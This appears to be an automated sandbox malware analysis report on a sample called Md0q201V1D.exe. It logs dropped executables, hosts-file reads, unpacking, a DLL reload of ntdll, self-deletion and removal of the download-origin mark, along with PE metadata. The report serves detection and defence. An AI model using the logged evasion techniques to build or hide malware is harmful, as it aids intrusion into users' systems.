Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13203243795606022941,14762146736583605753,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1928 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,11199746608983669523,6532242252009539287,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\21.tmp

Jump to behavior

Source: DF3A.exe.10.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: sqlite3.dll.35.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.35.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: DF3A.exe.10.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));
Source: sqlite3.dll.35.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.35.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.35.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3.dll.35.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.35.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\AppData\Local\Temp\B096.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\B096.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\B096.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Md0q201V1D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Md0q201V1D.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: CBF0.exe, 0000001D.00000002.451970656.0000000000417000.00000002.00020000.sdmp, bhhudtb.10.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: EBBE.exe.10.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: E64F.exe.10.dr
Source:	Binary string: dC:\fudijub.pdb` source: Md0q201V1D.exe
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: E64F.exe.10.dr
Source:	Binary string: C:\lewusukoviv.pdb source: C8FE.exe.10.dr
Source:	Binary string: C:\yut\pabebanejupo12 f.pdb` source: C066.exe.10.dr
Source:	Binary string: C:\fudijub.pdb source: Md0q201V1D.exe
Source:	Binary string: wntdll.pdbUGP source: CBF0.exe, 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: CBF0.exe, 1105.tmp.29.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: EBBE.exe.10.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: CAC5.exe.10.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: C8FE.exe.10.dr
Source:	Binary string: C:\yut\pabebanejupo12 f.pdb source: C066.exe.10.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: C295.exe.10.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxzip32\Release\sfxzip.pdb source: F11E.exe.10.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: C295.exe.10.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Unpacked PE file: 29.2.CBF0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\EBBE.exe	Unpacked PE file: 33.2.EBBE.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

.NET source code contains potential unpacker

Show sources

Source: CD17.exe.10.dr, SimplePaint/FrmMain.cs

.Net Code: TypeNameBuilder System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\AppData\Local\Temp\21.exe	Code function: 16_2_02D50F1A push ds; ret	16_2_02D50F27
Source: C:\Users\user\AppData\Roaming\gbhudtb	Code function: 23_2_02EB6552 push ds; ret	23_2_02EB655F
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Code function: 24_2_00A2D47C push esi; iretd	24_2_00A2D488
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E54 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E63 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402665 push cs; ret	29_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_0040290C push eax; iretd	29_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E16 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402DC0 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402DD8 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402DE8 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402DF1 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E82 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E85 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402D92 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E95 push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00401D9A pushad ; ret	29_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_00402E9C push eax; ret	29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	Code function: 29_2_6B59D0D1 push ecx; ret	29_2_6B59D0E4

Source: C:\Users\user\Desktop\Md0q201V1D.exe

Code function: 0_2_00426B90 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00426B90

Source: DEDC.exe.10.dr

Static PE information: 0x8B87D1F5 [Mon Mar 7 03:28:53 2044 UTC]

Source: Md0q201V1D.exe	Static PE information: section name: .pale
Source: C066.exe.10.dr	Static PE information: section name: .ruxat
Source: 21.exe.10.dr	Static PE information: section name: .pale
Source: F1AC.exe.10.dr	Static PE information: section name: Cgw(O~.
Source: C295.exe.10.dr	Static PE information: section name: .vuci
Source: CAC5.exe.10.dr	Static PE information: section name: .xoj
Source: CBF0.exe.10.dr	Static PE information: section name: .cipizi

Source: CD17.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x4147a
Source: BBE1.exe.10.dr	Static PE information: real checksum: 0x10f50 should be: 0x5be1
Source: F11E.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x114b9d
Source: DF3A.exe.10.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: DEDC.exe.10.dr	Static PE information: real checksum: 0x87179 should be: 0x81f2a
Source: B096.exe.10.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66

Source: initial sample	Static PE information: section name: .text entropy: 6.98974133443
Source: initial sample	Static PE information: section name: .text entropy: 7.66210807275
Source: initial sample	Static PE information: section name: .text entropy: 7.66469899227
Source: initial sample	Static PE information: section name: .text entropy: 6.98974133443
Source: initial sample	Static PE information: section name: .text entropy: 7.86113394582
Source: initial sample	Static PE information: section name: .text entropy: 7.79620991915
Source: initial sample	Static PE information: section name: .text entropy: 7.83179260502
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.8779018043
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 6.97994250456
Source: initial sample	Static PE information: section name: .text entropy: 7.29655075024
Source: initial sample	Static PE information: section name: .text entropy: 7.86107035261

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bhhudtb	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fehudtb	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gbhudtb	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CBF0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gbhudtb	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C066.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CBF0.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BBE1.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F11E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F1AC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C066.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CD17.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C295.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B096.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C8FE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DF3A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DEDC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EBBE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E64F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D8D0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FD36.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\21.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CAC5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bhhudtb	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fehudtb	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\CBF0.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\md0q201v1d.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\gbhudtb:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B096.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BBE1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF3A.exe	Process information set: NOOPENFILEERRORBOX
